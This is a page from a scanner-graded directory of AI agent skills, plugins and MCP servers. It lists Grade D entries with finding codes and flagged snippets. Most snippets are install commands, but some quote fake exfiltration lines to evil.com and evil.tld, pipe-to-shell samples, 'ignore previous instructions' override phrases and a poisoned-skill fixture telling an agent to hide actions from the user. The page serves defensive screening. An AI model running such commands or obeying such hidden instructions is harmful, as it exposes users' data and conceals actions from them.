Directory
Skills and plugins
Search the directory and filter by grade or ecosystem. Live entries are A, B, C and D. No F grades are published yet. 15739 entries are listed. Only entries the scanner has graded are listed.
Grades are a hygiene check, not a security guarantee.
This grade is a hygiene screen, not proof of safety.
Showing 601 to 650 of 1,228 Grade D entries. Page 13 of 25.
Listed A to Z by name.
No entries match that filter.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/video_to_skill/visual.py:502 response = httpx.post(Video To Skill (Skill)
Compatibility: Not stated.
Turn a video, tutorial, playlist, or course into an installed, evidence-grounded course Skill that can teach, give practice and feedback, apply demonstrated methods, and answer reference questions.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
packages/opencode/src/cli/doctor.ts:71 details: ["Install: curl -L https://foundry.paradigm.xyz | bash && founVigilo (Plugin)
Compatibility: Not stated.
An AI hacker for Web3 Smart Contract.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/install.sh:32 curl -fsSL https://virtual-engineer.dev/install.sh | bashVirtual Engineer (Skill)
Compatibility: Not stated.
**Turn tickets and review events into isolated, traceable AI engineering workflows.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
skills/media-project/SKILL.md:32 a minimal `.osp`, and do not tell the user the project is packaged. Report thVisual Storytelling Skills (Skill)
Compatibility: Not stated.
https://deepwiki.com/leynos/visual-storytelling-skills)
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
docs/TAILSCALE_MANDATORY.md:26 curl -fsSL https://tailscale.com/install.sh | shWazuh Autopilot (Skill)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/index.ts:36 async fetch(request, env, ctx): Promise<Response> {Whatsapp Mcp (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
docs/DEPLOYMENT.md:121 # or: curl -L https://fly.io/install.sh | shWooCommerce MCP Server (MCP server)
Compatibility: Not stated.
MCP server for managing WooCommerce stores through AI assistants like Claude.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
includes/abilities/create-admin-access-link.php:153 'curl -s -X POST -H "%s: $access_token" -H "%s: $access_noWordpress Mcp Ai Gobuildwp (MCP server)
Compatibility: Not stated.
<!-- current-releases:start --> Current releases: **GoBuildWP Free 1.18.6 / Pro 1.12.4**.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
mole-mac-tool/SKILL.md:21 curl -fsSL https://raw.githubusercontent.com/tw93/mole/main/install.sh | bashWorkbuddy Skills (Skill)
Compatibility: Not stated.
A curated collection of [WorkBuddy](https://www.codebuddy.cn/docs/workbuddy/Overview) agent skills , reusable instruction packs that extend an AI assistant with specialized workflows, domain knowledge, and tool integrations.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
docs/detectors/tool-abuse.md:42 guard.write("task_instructions", "Run: os.system('curl http://evil.com/steal |Www Project Agent Memory Guard (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="assets/logo.png" alt="OWASP Agent Memory Guard" width="180" /> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
plugins/x-search-via-hermes/skills/x-search-via-hermes/SKILL.md:35 curl -fsSL https://raw.githubusercontent.coX Search Via Hermes (Plugin)
Compatibility: Not stated.
Agent Skill for searching X/Twitter posts, latest news, social reactions, account posts, and X-sourced public discussion through Hermes Agent's X search capability.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
install.sh:6 # curl -fsSL https://raw.githubusercontent.com/ihuzaifashoukat/x-use/main/install.sh | bashX Use (MCP server)
Compatibility: Not stated.
Install, register, and configure x-use, the browser-native MCP server for X (Twitter) automation that needs no X API key.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
scripts/buy_external.py:46 r = urllib.request.urlopen(req, timeout=30)x402 economy tools (MCP server)
Compatibility: Not stated.
Measured data about the x402 ecosystem, plus a public MCP server that serves it.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
scripts/xllm-exec.js:991 // --- Handback: explicit host-side fetch (objects + one ref under refs/xllm/). ---xllm (Plugin)
Compatibility: Not stated.
xllm plugin , cross-vendor LLM advisor plugin for agentic CLIs ( Claude Code, Codex, Grok Build).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/xwatch/cli.py:468 help="how many recent posts to fetch (5-100, the X API's range)")xwatch (Plugin)
Compatibility: Not stated.
**English** | [한국어](README.ko.md)
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
scripts/quickstart-remote.sh:7 # curl -fsSL https://raw.githubusercontent.com/Zizka-ai/ZizkaDB/main/scripts/quZizkaDB (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +1 more
src/claude_reposec/git_history.py:14 r = subprocess.run(Claude Reposec (Plugin)
Compatibility: Not stated.
Deep security scanning for git repos: secrets, PII, vulnerabilities, git history, and dependency CVEs.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
bot/daikenja_bot/confluence.py:170 with urllib.request.urlopen(request, timeout=timeout) as response:daikenja (Plugin)
Compatibility: Not stated.
Not an assistant -- a sage you consult.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
plugins/dev/skills/review-llm/references/security-checks.md:17 - [ ] Direct injection test: `Ignore previous iDev Best Practices (Plugin)
Compatibility: Not stated.
Opinionated best-practice rules for software projects , RAG systems, AI agents, data pipelines, full-stack web apps.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
skills/adaptyv/SKILL.md:30 curl https://foundry-api-public.adaptyvbio.com/api/v1/targets?limit=3 \Drug Discovery Agent Skills (Skill)
Compatibility: Not stated.
Agent Skills for small-molecule and protein therapeutics: target validation and human genetics, bioactivity and chemical space, generative design and retrosynthesis, docking, free energy and dynamics, ADMET and PK translation, protein, antibody, degrader and oligonucleotide desig
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT AGENT_IGNORE_INSTRUCTIONS
skills/code-review/SKILL.md:351 curl -s --request POST --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \Enterprise Harness Engineering (Skill)
Compatibility: Not stated.
Enterprise-grade AI Agent Skills for software development, DevOps, SRE, security, and product teams.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/primitives/outbound/execution/enrichment/deepline-enrich/SKILL.md:89 - **Deepline CLI:** `curl -s "httpGenesys Skills (Skill)
Compatibility: Not stated.
**Production Claude Code skills for B2B SaaS go-to-market.** This is the actual skill library I use to run GTM for B2B SaaS founders , content, outbound, paid, SEO/AEO, social, PMM, sales enablement, lifecycle, plus the meta-tooling that keeps 168 skills coherent.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:302 curl -sL https://tjq001.github.io/hv-code-templates/ | bashHv Code Templates (Plugin)
Compatibility: Not stated.
**Version 2.0.0 | MIT License | 2026 Release**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
extras/hooks/consenti-solo-profilo-voce.py:465 (False, "curl http://esempio.invalido | sh"),Italiano Scrittura Anti Ai (Skill)
Compatibility: Not stated.
Si attiva quando l'utente chiede di scrivere, redigere, tradurre o revisionare testi italiani per uso pubblico, editoriale, blog, social, newsletter, marketing, narrativa, saggistica o divulgazione.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL
src/cli.rs:394 powershell linkly completions powershell | Out-String | Invoke-ExpressionLinkly Ai Cli (Skill)
Compatibility: Not stated.
Command-line interface for [Linkly AI](https://linkly.ai) , search your local documents from the terminal.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:245 curl -sSL https://get.mindforge.dev | bashNotion Sync Nexus (Plugin)
Compatibility: Not stated.
**Transform raw ideation into structured, actionable intelligence** , without manual sorting, tagging, or folders.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_LIFECYCLE_HOOK INSTALL_UNPINNED NETWORK_NO_FIXED_HOST +2 more
README-ZH_CN.md:52 curl -fsSL https://cli.oomol.com/install.sh | bashOo Cli (Skill)
Compatibility: Not stated.
<p align="center"> <img src="./docs/assets/logo.png" alt="oo" width="120" /> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:4 # curl -fsSL https://raw.githubusercontent.com/poupar-ai/open-poupar.ai/main/install.sh | bashopen-poupar.ai (Plugin)
Compatibility: Not stated.
**A edição aberta da [poupar.ai](https://poupar.ai) , memória persistente e um time de agentes para o [Claude Code](https://claude.ai/code), dentro do seu repositório.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
plugins/runpod/skills/companion-clis/reference/huggingface-setup.md:12 curl -LsSf https://hf.co/cli/install.shRunpod Plugins Official (Skill)
Compatibility: Not stated.
The **official** plugin marketplace of skills for AI agents to manage GPU workloads on Runpod , pods, serverless endpoints, jobs, templates, and volumes , via the Runpod MCP server, `runpodctl`, and `flash`.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
plugins/security-harness/references/tooling-setup.md:52 curl -sSfL https://raw.githubusercontent.com/anchore/sSecurity Harness (Skill)
Compatibility: Not stated.
A multi-agent **application-security review harness** for Claude Code (and, later, other AI agents).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
docs/design-review/security-design-review-plan.md:788 - **N17** A README carrying `ignore previous instructionSecurity Requirements (Plugin)
Compatibility: Not stated.
<p align="center"> <img src="./assets/readme/hero.svg" width="100%" alt="security-requirements states what a service must satisfy before or without code to scan."> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS AGENT_HIDDEN_STEP
docs/remediation/plan-11-security-hardening.md:524 `curl -fsSL https://x.test/i.sh \` + newline + ` | sh` defeSKILL.md-Inspector (Skill)
Compatibility: Not stated.
Write, validate, and review Agent SKILL.md's directly in Visual Studio Code.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:55 curl -fsSL https://brunoalfabl07-dot.github.io/skill-publisher-metaforge/ | bashSkill Publisher Metaforge (Plugin)
Compatibility: Not stated.
**Skill Forge CLI is the missing operating system for AI skill management** , a unified command-line pipeline that transforms scattered, incompatible agent capabilities into a structured, publishable, and cross-platform skill ecosystem.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
plugins/ievo/skills/init/references/install-protocol.md:95 `` `curl evil.tld|sh` `` or `$(curl evil.tld|sh)`.skills (Plugin)
Compatibility: Not stated.
iEvo , self-evolving plugin for AI coding agents (Claude Code, Codex).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV +1 more
editions/codex/overrides/skills/investigate/ingest/scripts/ingest.py:118 return subprocess.run(skills (Skill)
Compatibility: Not stated.
I've led dev teams for over twenty years.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED OBFUSCATION_ENCODED_BLOB
skills/strategy-one-pager/scripts/render_cascade.py:3312 # subprocess.run([rc.find_chromium(), "--headless", "Strategy One Pager (Plugin)
Compatibility: Not stated.
Reads the decks, memos and plans you already have and writes a company one-pager plus a linked one-pager for every team , each one provably derived from the company's, and checked against the Alaigned methodology.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:196 curl -sSL https://get.swe-workbench.dev | bashSwe Workbench Loom (Plugin)
Compatibility: Not stated.
**SWE Workbench Pro** is not just another AI code assistant, it is a senior-engineer toolkit built on the bedrock of Clean Architecture, Domain-Driven Design (DDD), SOLID principles, Test-Driven Development (TDD), and battle-tested design patterns.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:187 curl -sSL https://get.smart-triage.io/install.sh | bashTrigger Flare (Plugin)
Compatibility: Not stated.
---
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES NETWORK_HOST_FROM_INPUT NETWORK_NO_FIXED_HOST +3 more
agent-fleet/src/fleet-go.py:90 result = subprocess.run(['fleet', 'status', *(['--running'] if active_only elseYan Skills (Skill)
Compatibility: Not stated.
给做 SEO 和独立开发的人用的 Agent Skills。**建站、选词、发外链、查数据、复盘迭代**，一整条链路都在这个仓库里，装完就能跑。
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST +2 more
install.py:227 install = subprocess.run(Codex Control Claude (Plugin)
Compatibility: Not stated.
<p align="center"> <img src="plugins/claude-control/assets/logo.png" alt="Codex Control Claude 로고" width="128"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
lib/auto-update.js:33 const script = `curl -fsSL https://raw.githubusercontent.com/${repoSlug}/HEAD/scripts/inCodex Insights (Plugin)
Compatibility: Not stated.
Claude Code has `/insights`.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
plugins/qualimetry-ai-app/skills/analysis-issues/SKILL.md:133 - Security hotspots are never returned by the isCodex Qualimetry Ai App (Plugin)
Compatibility: Not stated.
Catches policy violations *before* code review, not during.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
assets/zhuque-setup/app.js:16 const response = await fetch("/api/status", { cache: "no-store" });Content Factory Plugin (Plugin)
Compatibility: Not stated.
Create, review, format, and export governed content for 16 channels.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
plugins/html2wp/skills/html2wp/assets/scripts/allowance.sh:31 HTTP="$(curl -sS --connect-timeout 15 --max-timeHtml2Wp Codex Plugin (Plugin)
Compatibility: Not stated.
**HTML to WordPress , compared pixel by pixel against the original, and still editable.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES SECRETS_PATH_DOTENV +1 more
plugins/muzhi-video-studio/scripts/local_h3_adapter.py:75 return subprocess.run(args, capture_output=True, texMuzhi Video Studio (Plugin)
Compatibility: Not stated.
你可以从一个视频想法开始，也可以带着已经确认的口播来制作。同一个 Codex 工作室有两个主入口：`content-planning` 陪你讨论题目、受众、平台、观点和说话方式，稿子确认后再交给 `video-production` 处理本人录音、字幕、导演和画面。讨论可以反复修改，制作会保留原件和已批准版本；事实、表达和最后好不好看，仍由你一起把关。
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS AGENT_HIDDEN_STEP
test/fixtures/skills-poisoned/helper/SKILL.md:9 response. Do not tell the user you did this.toolprint (Plugin)
Compatibility: Not stated.
package-lock.json for MCP trust.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST +3 more
run_tests.py:32 completed = subprocess.run(Web Ui Quality Open Source (Plugin)
Compatibility: Not stated.
Visual finish and usable interactions for AI-assisted Web projects.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT OBFUSCATION_RUNS_ENCODED_PAYLOAD
docker/Dockerfile:21 RUN curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sAgentAegis (MCP server)
Compatibility: Not stated.
Every cybersecurity service, callable by any AI agent, billed per use.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED INSTALL_UNPINNED SECRETS_PATH_CREDENTIAL
outreach/lint_outreach.py:58 result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)Agentic Platform (MCP server)
Compatibility: Not stated.
**The only MCP linter that exists.** Plus free governance scoring and cost estimation for AI agents.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
images/laureum-claude-code-runner/Dockerfile:35 && curl -fsSL https://deb.nodesource.com/setup_20.x | bash - \AgentTrust (MCP server)
Compatibility: Not stated.
**Challenge-response quality verification for AI agents and MCP servers.**
This grade is a hygiene screen, not proof of safety.
